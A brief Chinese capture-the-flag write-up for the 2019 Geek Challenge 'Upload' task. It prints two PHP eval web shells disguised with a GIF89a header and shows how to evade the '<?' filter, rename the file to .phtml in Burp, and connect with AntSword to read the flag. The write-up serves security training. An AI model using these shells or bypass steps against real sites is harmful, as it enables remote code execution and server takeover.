[极客大挑战 2019]Upload
打开题目后有个上传图片的地方选择文件上传
这里尝试上传1.jpg
1.jpg内容为:
GIF89a
<?php
@eval($_POST[cmd]);
?>
用bp抓包将jpg改为phtml,尝试上传
结果显示上传失败,失败原因:文件中包含<? ,对<?进行了过滤
这时候换一句话木马,一句话内容为:
GIF89a
<script language="php">
eval($_POST['cmd']);
</script>
继续用bp进行抓包,将文件后缀jpg改为phtml,放包上传
这时上传成功,用蚁剑进行连接,可以连接成功,在根目录下可找到flag